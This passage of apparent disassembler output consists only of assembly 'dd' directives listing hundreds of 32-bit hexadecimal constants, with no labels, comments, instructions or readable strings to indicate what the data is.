		dd 0A57044Bh, 83AB02D6h, 9744ECB1h, 2B6EC848h, 88E2C000h
		dd 4694CFE0h, 391B0099h, 5BB2ABCAh, 4200849Bh, 62EF0389h
		dd 0F3FDBD0h, 8759D2E1h, 67982020h, 1574CB8Dh, 0F0E9A300h
		dd 0A065A8EBh, 31E3C61h, 7C026D83h, 0BEBA4610h,	0A75F4A0h
		dd 0D977B1E1h, 0E50FE4FAh, 0A01C45C0h, 0D4F4F230h, 6E6300DAh
		dd 8F05564h, 90E2487h, 8354831Ch, 0C8BD0B4Ah, 0DBFD16h
		dd 0EDD26422h, 68DFAA05h, 700D6F8h, 0C08B258Ch,	0DBABC8h
		dd 1C3A89DEh, 0D8461147h, 92892460h, 0B0E4A0h, 59D674FCh
		dd 1055A588h, 628A3Dh, 80BB9E0Dh, 0D43927h, 2E609495h
		dd 972DB4C2h, 120129F4h, 7E0D3B5Fh, 1C20CBF0h, 86B70F25h
		dd 0B42021A9h, 12F1BF27h, 3900A071h, 9717882Fh,	2E76E4h
		dd 0DED03357h, 5A7104Ah, 8060BD3Eh, 1B6D7326h, 358A85h
		dd 925E48A5h, 33887BF8h, 0EE228700h, 39CDB63Fh,	0D1A50173h
		dd 0A2360CE5h, 5824DC3Eh, 0DEEE91Ch, 0B5BA74C0h, 9028A92Dh
		dd 0FB6401A0h, 68128AD5h, 0A2AFD4B6h, 26EB2901h, 0C6F48C08h
		dd 0E4F4080h, 0AF85BA61h, 0CD657600h, 0C1CE36Bh, 7B07BBDh
		dd 0D36996D5h, 0C88A105Ah, 290011EBh, 0CB23E948h, 13AA926h
		dd 0ADAEB3EEh, 40D884D7h, 0FD0724B4h, 0DC518C00h, 5CB29DE2h
		dd 77C90FFh, 0F1E7BC9Ah, 0C3359075h, 771C944Dh,	22477B51h
		dd 0B780D574h, 36AC34h,	0A7FD5C83h, 214A19EAh, 6EA65D00h
		dd 0A9880996h, 3AC00A4h, 0EDA32599h, 40595DEh, 0BBCDF25Ah
		dd 0CA911880h, 8FD91F1Eh, 52041FEh, 40634732h, 68760CF4h
		dd 0BB660307h, 54E05B37h, 98994216h, 980B0540h,	13ECC2h
		dd 0BA6085ABh, 42FA0CF5h, 8DFC5E00h, 0CA86DFADh, 813E001Dh
		dd 85CB5603h, 0A10501E0h, 0DA14E451h, 98278400h, 0D39DBBEh
		dd 42AA8CB6h, 0E7983081h, 3B587649h, 3B471E7Fh,	0C6663C40h
		dd 3879120Fh, 2D832163h, 50ED434Fh, 0FED85388h,	8000ACE4h
		dd 0A53A8487h, 2CA5575h, 8896AF61h, 5F60ED11h, 32017F77h
		dd 2BD21DB9h, 1E6003B0h, 0F3E70034h, 0C30F35A8h, 0B674D913h
		dd 28BB5530h, 124313Fh,	6472C54Dh, 0F0EFBE90h, 0F13AD148h
		dd 0F69500CAh, 0C837E4A2h, 0F3700074h, 0CEFBB391h, 0CA00CB32h
		dd 0C20CD328h, 0E62A3E42h, 0FF350769h, 10B590E9h, 0DBE0BC77h
		dd 7D6A2800h, 2C033630h, 0B78200A0h, 0C1C3540Fh, 70ADCA1h
		dd 9CEF334Bh, 1689204Fh, 33DB9F4h, 2F9294F8h, 35807E8Fh
		dd 413D1DF9h, 557D748Eh, 2980A900h, 0B75DE61Ah,	51718Fh
		dd 94DCEBB3h, 0C2B96C4Eh, 6E9F3503h, 0FB368A67h, 3A15A0D9h
		dd 3467C7Dh, 0A189B579h, 8888558Fh, 5000BBACh, 0AD4F393Dh
		dd 100659h, 0DF370395h,	0AAAF8832h, 0EB70FB00h,	23D96F81h
		dd 2FCA843h, 0F5F7A008h, 733F018Ch, 0B88E8134h,	0D22420D6h
		dd 98964Ch, 657B4419h, 77C5450Fh, 3511001Dh, 48AA3B97h
		dd 0F300BA7Fh
		dd 0DA2227BCh, 2E346B76h, 8288D9EAh, 24EEB35Eh,	0B9AB9300h
		dd 239C3A1Eh, 0B19422Ch, 9CA05EDBh, 7080F40Dh, 0E0087907h
		dd 284A2176h, 2B08C05Ch, 0E7787473h, 0CCB2201h,	0DAE83BBCh
		dd 3E8E1C40h, 8F430085h, 2E4D5135h, 77001F21h, 2CEB605Ah
		dd 0FCA50F36h, 291C586h, 9D944EF7h, 2D99D681h, 2802CB44h
		dd 3BB276D5h, 1230A5E5h, 1E304C58h, 2ABBF88Ah, 344342Fh
		dd 1AEE8216h, 0FDDBC8D9h, 0A3D63788h, 5F282E00h, 2BCD5414h
		dd 13F40096h, 60441C89h, 7F008D91h, 29952EB3h, 28CC46D4h
		dd 0EDF9CDh, 92DDA9A6h,	0BB728BB0h, 6100B7B8h, 402795B7h
		dd 103BB3h, 66A26469h, 0DB54BCB4h, 0E8A1C01Ch, 0D87C8501h
		dd 16C4F244h, 0A7F9C0B2h, 58A82A29h, 4A18494h, 2D9D5855h
		dd 7D2C500h, 34B8CB7Bh,	79C1007Ch, 5E6131F2h, 5C0038F4h
		dd 9C49016Fh, 0F037E6CBh, 0E630E8CDh, 9FE000CFh, 2C01CCC5h
		dd 77890B8h, 62785C00h,	0ED966364h, 95CB0094h, 0E97F79D9h
		dd 419C98DDh, 80C5500Fh, 78F78BFCh, 9C4E0364h, 0D89DDAEAh
		dd 0A159C9B8h, 0A0744AEBh, 705184Dh, 2F957C8Ch,	87D95009h
		dd 0E0002A38h, 588072ECh, 14A1225h, 540656AEh, 883B9395h
		dd 8826B429h, 0E2885E9Dh, 3444887Ah, 5381F084h,	445D8804h
		dd 0F9405516h, 87DB0F6Dh, 6921EC42h, 887FEA08h,	0A89F9D0Fh
		dd 756222A2h, 44741E42h, 1084A497h, 28222E42h, 2C223C52h
		dd 14A05090h, 0C633443Eh, 11D44284h, 23117C9Ch,	525A112Fh
		dd 88BF3275h, 288198F0h, 228AAE1h, 0B71482CEh, 948CA6A1h
		dd 0C5780051h, 0CC8BBDFEh, 0B601EDE1h, 0D3D52C10h, 0F3FC13ADh
		dd 0F7050098h, 68A99CCDh, 9300EAE8h, 0EDAD0EBDh, 323004h
		dd 396C0548h, 0CFEC14FFh, 338CE602h, 725918D8h,	16D749Ch
		dd 0A479FA5h, 0ECB8DB8Dh, 0E53F2098h, 0A83880A9h, 5CBC5DAh
		dd 95E97178h, 0DFAD658h, 2AD89400h, 0ECE5FB6Dh,	0C7051C40h
		dd 12BF80A0h, 9CF2C3CBh, 0B9EB5C00h, 46336D3Eh,	2D39894h
		dd 0ED05116Ah, 5070D2E5h, 0A7D7DF16h, 89097600h, 0C3643Ch
		dd 2F6AA90Eh, 3E74F6B2h, 958D7A07h, 0D320EC6Bh,	1E7257h
		dd 0B9BED8BBh, 0A21C09F5h, 7D7E5C07h, 6CB0E4FFh, 3657801h
		dd 4B853640h, 0ECD0B5D5h, 2700882Fh, 9FB4AD3Dh,	3DD20h
		dd 0A797C013h, 0AA1F3482h, 758BDh, 0E1A0B368h, 9FE9E6A3h
		dd 8BA70100h, 0EB850446h, 0D81C5CDDh, 863FF500h, 9D6F1EB5h
		dd 111AD8C2h, 8FFB0058h, 9B017ED7h, 2B6780ABh, 96F43C69h
		dd 97D00006h, 1F43DC56h, 0C9506F4Ah, 8B00A893h,	0FC35C8EEh
		dd 987C95h, 584A874Ch, 0C9BBA249h, 45668B00h, 2BBE9376h
		dd 0B9181F27h, 63EFC1F2h, 811DB35Ah, 7366384Eh,	80D3DE1Fh
		dd 85FA34h, 6D2564F4h, 15090C22h, 90B0491Eh, 80CF8D8Eh
		dd 6A3A5559h, 0F0DC07B7h, 37B4EE7Fh, 0EF9330A2h, 643ABC1Ah
		dd 885180CFh, 0CE595A7Eh, 455800B6h, 79F0DFE0h,	42001C95h
		dd 93BB39D4h, 79EC5FFh,	1F2BC72Fh, 4535B0F4h, 4700DD32h
		dd 5D7041F5h, 1E7B4BDBh, 0B0EE4E16h, 0DCA02D74h, 4FF06F00h
		dd 0EA9068A4h, 384C98B3h, 150442F2h, 0FA643A12h, 4A281F00h
		dd 953ECAh, 0EDDB6BEAh,	0AE2F6624h, 86503Fh, 25A5C5BDh
		dd 0F2C752B6h, 0E36A0083h, 562C0595h, 8890E56Bh, 0DFA0F000h
		dd 21508942h, 0BB100079h, 0CFB4E922h, 8700C6ABh, 93FD3CA1h
		dd 11D7503h, 28448B36h,	0CC9CE588h, 7100BE76h, 410280ACh
		dd 0E1DAC5h, 6B5A0521h,	0DD7C8AC3h, 0B8438624h,	17324A00h
		dd 721A53Dh, 62872F75h,	0E2E78097h, 0CC03CFD5h,	981310A0h
		dd 5BEB063h, 86A900F3h,	75D2E721h, 7F00D1B7h, 6EF2AE60h
		dd 0E8525153h, 63430072h, 0B6BC9959h, 9800C80Ah, 2BEA3994h
		dd 64701Dh, 0F857CDA1h,	10C485BDh, 98B03200h, 3B045440h
		dd 90F11C74h, 7A0F4937h, 36C34780h, 0C27D768Eh,	3E26A600h
		dd 0CDBED1C4h, 853B07F3h, 30772733h, 0AD855F8h,	6FA0DF07h
		dd 0C30CFD7h, 0E40D96FFh, 0A5E23Ch, 57BB454Ah, 4FED351Bh
		dd 1D4B611Ch, 0ECAC54h,	0A9C8E706h, 28772127h, 0FE427Ch
		dd 33FD7824h, 162C9ECEh, 0DB0079E6h, 0C99B66BDh, 1EB93F9Fh
		dd 0C0D882B1h, 0F7F962A5h, 0BD0ED1F2h, 60F68669h, 1005E433h
		dd 88ECA343h, 1AD4224h,	2B4E38A8h, 0C40EB111h, 3F13F36Fh
		dd 300031A5h, 0ED4053CAh, 69A40092h, 55F7CEE9h,	1C70890Dh
		dd 25307E02h, 40DE8B59h, 0F405677h, 6B12834Bh, 0B9BDF320h
		dd 37004E30h, 938ADD8Dh, 720AC79Dh, 389900FAh, 0E3590458h
		dd 2E00D218h, 3BDC48E0h, 2586AC4Fh, 9C00CF90h, 45AC647h
		dd 0AFFCAE03h, 980D2EC2h, 571F5Dh, 30F9396h, 2FE64206h
		dd 0DCD96C07h, 31305059h, 7B3BA43h, 0D3FA95F5h,	0ADA840D4h
		dd 3300626Fh, 7D279E71h, 3BEE274h, 0B5731E61h, 5C804F2Ah
		dd 9C004023h, 0F489F990h, 91C0F2h, 43D96413h, 3DA0A292h
		dd 72BFDB00h, 0F058F138h, 48A5E832h, 1E00F624h,	74CE2EC8h
		dd 1176E3A0h, 0FF004F7Ah, 0C9389A23h, 0C0A2A4h,	4BD0D7F0h
		dd 9EEA9BECh, 68B2CA00h, 0FE0F4236h, 0ADE52885h, 0CF1E0280h
		dd 693EEE97h, 0CC39A361h, 50001C41h, 76A617E2h,	796FE37h
		dd 81423371h, 0E7A1F093h, 0EA07C9B1h, 677DD3FBh, 7B8ACF90h
		dd 0E611295h, 1C0802DDh, 0C448686Dh, 0A90376A3h, 994D0CF2h
		dd 6E6BE0F0h, 260300AFh, 0A1ABD269h, 0F83DBE7Ah, 0C801BE15h
		dd 0B30400F8h, 52C7B045h, 0D21900F3h, 673E3495h, 0F900B641h
		dd 0D0F7998Ah, 9F6D48h,	0B2567F22h, 462A1F33h, 8308351Dh
		dd 6986A307h, 2DABFFA0h, 0BED7003Fh, 7178812Ah,	8A00F179h
		dd 46F3BA53h, 0F8109Fh,	29C8DB35h, 474450E5h, 0F627D501h
		dd 98A154A3h, 2D1F8DFh,	0DA9A00BAh, 70AE463Ah, 0A6008A7Eh
		dd 0B6C30529h, 4E493Bh,	33C2BCB1h, 8D586E28h, 3500EAEEh
		dd 4D750115h, 0CDD7C5h,	1CA28008h, 27E185EBh, 7325CB00h
		dd 26EFB815h, 0C1BA000Ch, 5E37E948h, 0E8001C5Fh, 4BC6B079h
		dd 0E05B9Ah, 4EEAD2A4h,	9CA106F8h, 0C7DC4205h, 0D21D217Ch
		dd 63A76A81h, 7AF4ADB8h, 0E25501EAh, 0F1DA1205h, 67ABDC98h
		dd 0E8AAB600h, 94EBF581h, 176C039Bh, 122F38F6h,	46E28801h
		dd 39E4FD6Eh, 6053C340h, 2155000Ch, 4C758654h, 704C7E24h
		dd 3ABC0385h, 0F804575Dh, 0FF3BFBh, 469818C4h, 0E67614DBh
		dd 2B307D76h, 1068877h,	558301B7h, 0B80475FCh, 0A4F1FC25h
		dd 9B725301h, 0D4BEF8C7h, 621530h, 17919021h, 0EFF6692Eh
		dd 70D84B00h, 3EA2CD1Fh, 6D2B1E34h, 99440077h, 0B7D92561h
		dd 0B523800h, 0AEEA4C76h, 48EF0011h, 0F016AD2Bh, 0A800B541h
		dd 0E1EC3028h, 0F691E6h, 23FB0846h, 0F14FB7CAh,	0F0590F01h
		dd 7039AC30h, 812CF8h, 53A7118Dh, 0B296CB4Bh, 54FCD900h
		dd 7A99714h, 9E10062h, 85CA5787h, 58032DAFh, 891F6A7Eh
		dd 8A62D8BFh, 0E3E503D4h, 0BD1E91FBh, 0F8C86391h, 0E2006AECh
		dd 0D019B986h, 31861F6h, 0BD8D7967h, 0C6A028AAh, 0BF04EE8Ch
		dd 7B4E3FE3h, 2375AC81h, 5C94ACE4h, 9240CA1Eh, 0AD0700FDh
		dd 0CBC55982h, 510137B0h, 4D77F4CAh, 65DCEBE9h,	7E7D09h
		dd 8F202846h, 0BFBC242Dh, 0F0BA5900h, 0D68D439h, 9AA90FAAh
		dd 9FA3355Dh, 46C80BB8h, 0B0F427C3h, 0D4511A00h, 5C160DABh
		dd 602874A3h, 3DF2182Ch, 9D00D89Ch, 6C05820Fh, 0F96EBE2h
		dd 5DBDC3CBh, 4A47B9C0h
		dd 0A07CBCA1h, 37F1DF00h, 0C0351FEEh, 0F923000Dh, 8C047F5Bh
		dd 60008E78h, 31A2B43Bh, 0C7D3BFh, 35E6D612h, 8311E197h
		dd 2C657809h, 4E08006Fh, 1C4B72Eh, 0B993236Ch, 0C087025Dh
		dd 0A700D0C2h, 7E1F4705h, 1CF0FDFh, 41B7FA39h, 0ED95B59Fh
		dd 0B2C8E855h, 8BBB3204h, 80800FAAh, 3B17C562h,	4880647Dh
		dd 0A6E0D69Bh, 0CA7FACD4h, 0A5CCF500h, 9436DEF8h, 58BB0022h
		dd 7EA09ED8h, 460764B7h, 5BC41B98h, 0AF60F4F0h,	55AC20C1h
		dd 6878600h, 0FD9E541Dh, 121E7744h, 2BBDD03h, 0CFD8A584h
		dd 79F80C60h, 45DE2301h, 16E6279Ch, 970D9889h, 876EA504h
		dd 73757168h, 355020BBh, 7445B401h, 693ADC84h, 907C1420h
		dd 9E78F8h, 0E2D7D41Ah,	0E7B52F41h, 4F8ABE00h, 5D9BA38Eh
		dd 1E210063h, 97D9DBB3h, 0F700E0CBh, 72B12A5Bh,	1890718h
		dd 0E37512DDh, 0F00853D3h, 0C100FB1Ah, 6E0C6250h, 0E6BB0123h
		dd 0F303018Dh, 4E619D8Ah, 66288084h, 0C50C5181h, 0A70A0059h
		dd 0DDE88724h, 0F2007C8Ch, 112343BAh, 0E0A6A1h,	4804FA9Bh
		dd 0C4BE5F4Ah, 0C6325A00h, 0FC99B426h, 709703ECh, 6A2AD7C7h
		dd 84F67D90h, 30FC634Ch, 0DED45871h, 0C6FD005Ch, 26DDB0B2h
		dd 0B150D8B5h, 16002B9Ch, 8C27D405h, 383677h, 48D24D63h
		dd 597042EDh, 2D51B60Ah, 0D503C4BAh, 0F0472854h, 0EAAC36FAh
		dd 0EAAE3979h, 43E3688Bh, 7A7C017Fh, 44F41AC1h,	88CF480Bh
		dd 3200C53Ah, 346D4FFFh, 0EB00BD93h, 94AEBE08h,	32F7C01h
		dd 6675C0FEh, 8EB088A8h, 2230B7F2h, 5E3E20E2h, 5243181Dh
		dd 0B0D6F826h, 48490300h, 0AB7A15Fh, 25461EA2h,	0E58D00E0h
		dd 0BCDBEAD7h, 0DFEB8103h, 0B90E58h, 79CB2C48h,	188B8806h
		dd 51DB8358h, 8FE800A3h, 2900426Ah, 178EBAE2h, 0D18324h
		dd 5F16A82Ah, 1F974EC6h, 6EEE0C00h, 3A2B8661h, 26F21717h
		dd 34E128Dh, 0DA169A58h, 0F01AB2F9h, 2B1D4452h,	510F15EFh
		dd 5C2C019Dh, 9834A41Eh, 50674CAh, 3037E09Fh, 6791C11Fh
		dd 871F6BFCh, 0EA0E2580h, 7E2621A7h, 6077E5h, 0E66C505Eh
		dd 3D978054h, 7EE40D25h, 804D1E47h, 0BA05DC6Eh,	9D03ED68h
		dd 6A583C5h, 0E013A27Fh, 0AFDECBh, 644F67EFh, 0E244C6BCh
		dd 1D09048h, 70035A38h,	4080F901h, 7C95CBACh, 41007712h
		dd 2C8436E7h, 398C479Bh, 3F85D510h, 88FCEFA3h, 0D40EE028h
		dd 0A0DA3133h, 4EB452CFh, 12D1F2A1h, 3BFC0FDh, 90313761h
		dd 4DE89202h, 410DB8D6h, 0FC2632C8h, 0AF29007Eh, 0B4CA7CCEh
		dd 0CC126E2Fh, 0F8023976h, 0BBD9D4h, 840A8E42h,	197EB07h
		dd 7F20613Ch, 1D10C4Dh,	0CC131F3Bh, 20311698h, 0B100E25Ch
		dd 428F78ABh, 158E8A7h,	0F543FD9Bh, 0EC0F72B4h,	3B1CB05Eh
		dd 0F9893E31h, 78180089h, 0F7511FAh, 0B1639CF0h, 0C0ACF840h
		dd 0B9002455h, 445668AEh, 0E8D780A0h, 0CB2618A1h, 4175A1EDh
		dd 6800CCE2h, 89B4C1B2h, 38BE8001h, 3C00BCDEh, 233BC71Eh
		dd 430EFF56h, 0E07C868Fh, 7570A2CEh, 96150050h,	9B2405E7h
		dd 21072E88h, 5D5A031Ah, 0DDF9E08Fh, 1D336863h,	34C45Fh
		dd 0B34C571Eh, 0EE00CC0Eh, 4813D8AFh, 1F4A78Ch,	78A16ED4h
		dd 0D0CD757Bh, 2850B9FBh, 2209C8B9h, 72E710h, 1424230Fh
		dd 901A02A6h, 41D2BA95h, 33EFD080h, 0DC00C47Eh,	0A417353Eh
		dd 1C4ED8F8h, 0D296106Ah, 0FB550074h, 0F6DB2399h, 0C9AB000h
		dd 0F0A46541h, 50710078h, 1743FC70h, 0A3002EDDh, 82D5B4EAh
		dd 0CBFF1F4Ah, 0AD80F3B1h, 2C339A58h, 72661E00h, 49517942h
		dd 9988C202h, 0F868C83Fh, 0B008DBCh, 0DB47F793h, 7F979B32h
		dd 25979F5h, 7023428Ch,	5C681725h, 0EC0068A7h, 8E218565h
		dd 3A7363h, 8843E440h, 0FF7CB244h, 0A452F00h, 5FF7283Bh
		dd 120C7D81h, 1D97F49Dh, 0A116C087h, 0BCCA7A06h, 6765AD00h
		dd 0D9074A8Ah, 125C98C0h, 7DCF37Fh, 9F70F28Ch, 0A51B1600h
		dd 0B11D4E89h, 2CC09949h, 320851CAh, 8D7000B0h,	7A98FF58h
		dd 7C001273h, 2DB8F5EBh, 0F27D995Dh, 0E8795820h, 1A9F606h
		dd 3B7AF895h, 19ED0203h, 2CEEAAh, 578C49E1h, 3A4240F4h
		dd 680788E4h, 97ED6B55h, 0F6697530h, 0DF74DBh, 92C4170Ah
		dd 0D04EEC29h, 463AF300h, 0CEE937ABh, 0E3CF4CB4h, 0ECFEB840h
		dd 185F012Ch, 831A32C3h, 0BBD88F92h, 6E7CA0FAh,	20559Ah
		dd 0C7AD3EFh, 4C9C7889h, 80DF9738h, 24ADC49Fh, 10C2F2h
		dd 0E532DC22h, 30E2772Ah, 75C3B801h, 67EEC802h,	739CAC80h
		dd 0D7D05C98h, 320FD970h, 9DE5CF90h, 0D2ED3F40h, 939E03h
		dd 78135030h, 2C8CC03Ah, 7D068113h, 0D6C32440h,	478E3Fh
		dd 86399E45h, 9154E5Bh,	0C27E4000h, 435503E2h, 0AEF627h
		dd 91612916h, 0E7839F93h, 2FB78B0Eh, 693D408Eh,	7A169D55h
		dd 11B0A064h, 0F5612006h, 9349280Bh, 3BA02082h,	0ED0122h
		dd 3AB6075Ch, 7577641Ch, 9AC07C07h, 0DBD36Dh, 0D85E74F8h
		dd 5BE073h, 4A0580CCh, 4472A0F9h, 652FDC1Eh, 0F59399C0h
		dd 469B45h, 58EB4D76h, 8BD8E9A4h, 0E43C1200h, 0C86DF808h
		dd 523A001Bh, 2509B0BAh, 3001A1A7h, 7331E044h, 0F304037h
		dd 4E47018Dh, 9FF407ABh, 7ABAE04Bh, 0ADBF2D00h,	60D71B95h
		dd 0B41C49BDh, 4F05B200h, 29F6A73Ch, 0A5B2201h,	666516C4h
		dd 0B2C45DD5h, 0D1D000B6h, 8D9E80ACh, 75767F1Fh, 0CEF52A00h
		dd 5AE026A0h, 657C0052h, 0A7AC073Ch, 8020685h, 79A82705h
		dd 6EE0FFC1h, 200049C8h, 0D07E5958h, 4764EAh, 4FCBDA8Eh
		dd 5339661h, 36E8039h, 0C75113CAh, 3562E09Bh, 47410030h
		dd 448ED615h, 0B1003FBDh, 0DBDD4F0Fh, 904A5Eh, 0A2D0361Ah
		dd 43D11F79h, 5E68300h,	344F6902h, 18B25CBCh, 8033841Eh
		dd 57EED580h, 43FA25Bh,	3FE10288h, 60633D89h, 6DC287h
		dd 0CF131880h, 150B5F09h, 7E3ADA00h, 0C14CDDE7h, 2CA1006Bh
		dd 5A4EBF8Eh, 0E8036D48h, 51A2674Bh, 501FB828h,	6FCA01DBh
		dd 850F86FDh, 0D3ECCEFh, 9EE86C39h, 0BC9FD1B9h,	58A5F740h
		dd 3DD2CD6Dh, 8FBE7F18h, 7D4D9A80h, 0CF47D9BEh,	9B766E00h
		dd 2975CC56h, 4C01009Eh, 0FCC5A4AAh, 1604D30Ah,	0E0F26B4Dh
		dd 13FB70A0h, 0D7ACB8h,	0CD262D1Dh, 0CB1C6014h,	0CA80D89Dh
		dd 9892E549h, 1BEB0101h, 8DF61ACh, 0F372F091h, 22D3CF03h
		dd 882952F6h, 90C11E70h, 6B7578h, 0E57B8305h, 295AFB9h
		dd 6DF3EE00h, 3F9DACCFh, 3C6A0057h, 91D79CDBh, 0B100E60Ch
		dd 0FFAA9019h, 0FD6655Ah, 762C2A30h, 0B921E7h, 19DE623Bh
		dd 0A7245901h, 344BF957h, 0E9DC4561h, 3C890C63h, 0A451A1C5h
		dd 77C89D03h, 0B0E83AC3h, 18B79464h, 58FFECCEh,	9160BF61h
		dd 0A80F3288h, 228C034Bh, 9CA66203h, 97961800h,	0B758CFEEh
		dd 3DAB1C1Dh, 0A5807EE5h, 0E1CE3B61h, 0FA60116Ch, 0F6CAA071h
		dd 201B0F05h, 0C09C7571h, 7E56464Dh, 4B07E910h,	664358BCh
		dd 3BC52F00h, 4E5C0617h, 0E015CB3Fh, 73ECF512h,	31D04803h
		dd 4559077Fh, 0A1395409h, 0D8E4CAA4h, 0D900A772h, 29019670h
		dd 2E26B3h, 6D7EF9D8h, 48E9AAD6h, 0A5EE3E00h, 43D39D13h
		dd 0C1CF01E8h, 6552C9CBh, 958B3053h, 0A33A241Eh, 0B91FE741h
		dd 9970E3DAh, 0F4130EF9h, 4560F5D3h, 0AF9231CBh, 0B8D12A00h
		dd 0A4FF088Fh, 6D890FCDh, 8DC0E8C6h, 0AE41481Bh, 1D033Ah
		dd 0EF1A22CAh, 23A92Fh,	0BAE07999h, 42589A7h, 0C7BE140Fh
		dd 0C3C2EE2Ch, 0B06F48C6h
		dd 0B1BB62h, 3BB42195h,	29670ED3h, 800C713Fh, 40C0A912h
		dd 1E607368h, 0CE586Ch,	16B8E73Ah, 0B00EF91h, 0FADDD182h
		dd 393F76h, 516F584Ah, 0FE848EAAh, 6AAF831Fh, 29AC2DC0h
		dd 223F92h, 99F534A3h, 559ED504h, 0C9C4C00h, 0F1DDC7C3h
		dd 3B967013h, 0C1801BB4h, 0DECA7B87h, 65005864h, 123552FAh
		dd 99B219h, 91873B10h, 0E6665798h, 721F697Dh, 0D9C036D1h
		dd 0C6808130h, 0C38E000Ch, 5BF4BF08h, 0C4EE871Bh, 645A3807h
		dd 48F015D5h, 0B0621Ch,	5788929Bh, 1175EA37h, 0F1003898h
		dd 3A566AF0h, 0FA786EAEh, 21C1009Eh, 0C8089593h, 220083F8h
		dd 4205EB71h, 1F65D086h, 401CF975h, 6BFCED44h, 56007348h
		dd 3AF11B78h, 72E050B3h, 0CFF73EECh, 0B509A800h, 580CED9Eh
		dd 2E927E00h, 0C43FEFF1h, 0F5E300B4h, 0C78F7F39h, 0A745D12h
		dd 802D7C3Bh, 41DADB80h, 26C011B1h, 0FF28CAAh, 0E9E0765Fh
		dd 0F57FD5F4h, 0F781E800h, 93BB67Ah, 119500B2h,	0CE4B600Ch
		dd 3E071833h, 0D4A928E6h, 0BD53C0CEh, 0BF1F81h,	83392D97h
		dd 8AB92340h, 3309360Bh, 27200A9h, 4144E7h, 2167D0FAh
		dd 7F080131h, 54FF2700h, 0B61D99BFh, 3E23018Dh,	5CD1780Eh
		dd 0C8002F0Dh, 0EF100AD2h, 502B4835h, 17AAD004h, 7A69038Ah
		dd 0E88DD377h, 75068Ch,	5B23BAFEh, 0ED719874h, 4736F607h
		dd 48D0C721h, 0EC88C285h, 412E07C3h, 0B0D55054h, 3291EC19h
		dd 0AD00237Eh, 79B551ACh, 6A5DABh, 0F8B3E82h, 0B04904C6h
		dd 0B9DA1400h, 0CDE667A6h, 0A4C20064h, 909B1B77h, 0CE004F6Bh
		dd 8A21A56h, 823DC9h, 16968067h, 47BD7317h, 0C44CE3E0h
		dd 989A010Ch, 0C1764386h, 4E61CCh, 0BCF8CE0Bh, 0B3544B67h
		dd 9E04F02Ch, 0D15A5C00h, 0D61FB4h, 15032E89h, 0C432E297h
		dd 9122FD00h, 3377DFE3h, 5DE400C8h, 0B91261F8h,	0E250BF73h
		dd 49038DE6h, 0E8FF64E0h, 523BC8EFh, 17C90231h,	0A333C1ADh
		dd 15BBA040h, 9C3A210Ah, 4580C42Bh, 71D9F959h, 0B4D20079h
		dd 33209BF0h, 0C300B6A7h, 0DFF18A10h, 4D91E86Fh, 0BE0340B9h
		dd 2F232EB1h, 2068D4E9h, 5FF0E3A0h, 6E1814B2h, 0CDD173BDh
		dd 7BD1838Ah, 0A88CF474h, 0FDEC04FCh, 0F0A7100h, 0AFEE08BCh
		dd 4DDC5CFAh, 83B9A13Dh, 84D90380h, 860BE8FBh, 6BCD7809h
		dd 73CC8029h, 465D13h, 433B49B8h, 5E842F21h, 64D61000h
		dd 0CAF00D7Fh, 60700A8h, 13DC1420h, 320028ADh, 12DE66F7h
		dd 0B44654h, 0C743B28Eh, 20BAB710h, 0E542BC00h,	843921CEh
		dd 0A5F4124Bh, 0F55200CBh, 0F7F3C80Eh, 0B2A86207h, 5C7C7863h
		dd 588F16F8h, 7550009Fh, 0F0B80C26h, 0B1009274h, 0E9B74665h
		dd 0A861DB6h, 0AC356938h, 48B900C4h, 102F9124h,	6C2453E4h
		dd 0CF006867h, 8172E2E6h, 17E11FCBh, 8702C06Eh,	0AD380B28h
		dd 0B3AE9E00h, 67DA8541h, 93FE0EB5h, 8B03FA9Ah,	16EA2808h
		dd 0AB0666C0h, 0AE1EE70Fh, 68C1A0F5h, 1B44F2Ah,	8E16ECCAh
		dd 20B5C054h, 0DAFE0BF9h, 690C0F98h, 0A0A55F25h, 0D830167h
		dd 2AB6BDA6h, 64C0D4ABh, 3F75F501h, 0EBE0DE85h,	0EDF6CFCh
		dd 3D47C3DBh, 1C0CDCA0h, 0B03CFE4Ah, 3A1D8081h,	1B0F8358h
		dd 141049CBh, 3F8FF00h,	0E413E939h, 29616007h, 960A70Dh
		dd 0EC2C24h, 9451A988h,	1DC24FBEh, 308B5200h, 0D73BCBC5h
		dd 87D4A0D0h, 0DC990094h, 0E0C1FAD8h, 0F739A215h, 0C51180B2h
		dd 0A4F2A7A3h, 243A75FBh, 0E4E326h, 4943385h, 0EF00C9F0h
		dd 5BAF556Bh, 3D289020h, 0EA81B824h, 3330352Eh,	0F41831FEh
		dd 0AD3EB250h, 12718134h, 0D8B9EFB6h, 1E8ED7C4h, 38282386h
		dd 1E5A2B00h, 0E34B96DFh, 0F572FA07h, 602FF665h, 0B8C815ECh
		dd 0EB9FE0B3h, 0CF17CECh, 0D16254CCh, 34014670h, 3D1B950Ch
		dd 0F68C0A28h, 7AE8A37Fh, 5CA6AD02h, 43CC2BCEh,	94868844h
		dd 520E0095h, 993CA53Ah, 0FF0063D7h, 3241D958h,	453B67h
		dd 7C3151D6h, 0BDA4E6DEh, 406BE40Bh, 0B3CB8081h, 0D62EB2h
		dd 0F9972268h, 73388B53h, 0A6129101h, 87957424h, 0A15430h
		dd 0E69A4227h, 8098A3AEh, 0AFC25D00h, 1B7F5C28h, 18380059h
		dd 0D7048486h, 0E20F4E88h, 2EBCC59Eh, 8708C163h, 8EC0B590h
		dd 2B8A0043h, 4ADC801Bh, 360030CDh, 8FA95DC6h, 67AACFh
		dd 2BA21FBBh, 45F6440Dh, 0D123351Dh, 5C7CA1C0h,	75E8120h
		dd 0BE6F523Eh, 0D2ABE6EEh, 0D39C5A00h, 98F27C61h, 0D99A00C1h
		dd 0F096C595h, 1B1C5EC3h, 49C0036Eh, 0FA8976DFh, 45A60036h
		dd 0EEC7A3C2h, 35586F2Dh, 0CBB824F9h, 1DB90500h, 0A3C1ECh
		dd 82A90A27h, 81D07060h, 0B3BA39h, 0BF0F925Ch, 0A2FFD5h
		dd 9083BE95h, 0D4C1E424h, 0ED072E00h, 5A49CB43h, 0B45600D3h
		dd 8452A174h, 0E60EAB1Fh, 213CF4D5h, 5EBA83F2h,	0EF5BF841h
		dd 0E06EF700h, 8BFA0100h, 0E510AADCh, 7FFB0370h, 9924B8A0h
		dd 0EE82E88h, 42172324h, 4D9C0D00h, 6B49AEh, 0CF3C12C9h
		dd 8B684B2Dh, 46B91F00h, 0EEFE378Ah, 6DC20EBCh,	0C99E7617h
		dd 0A8A083A4h, 0CE1B3D20h, 67C06103h, 0E8E8BF6Eh, 0EC5BCD23h
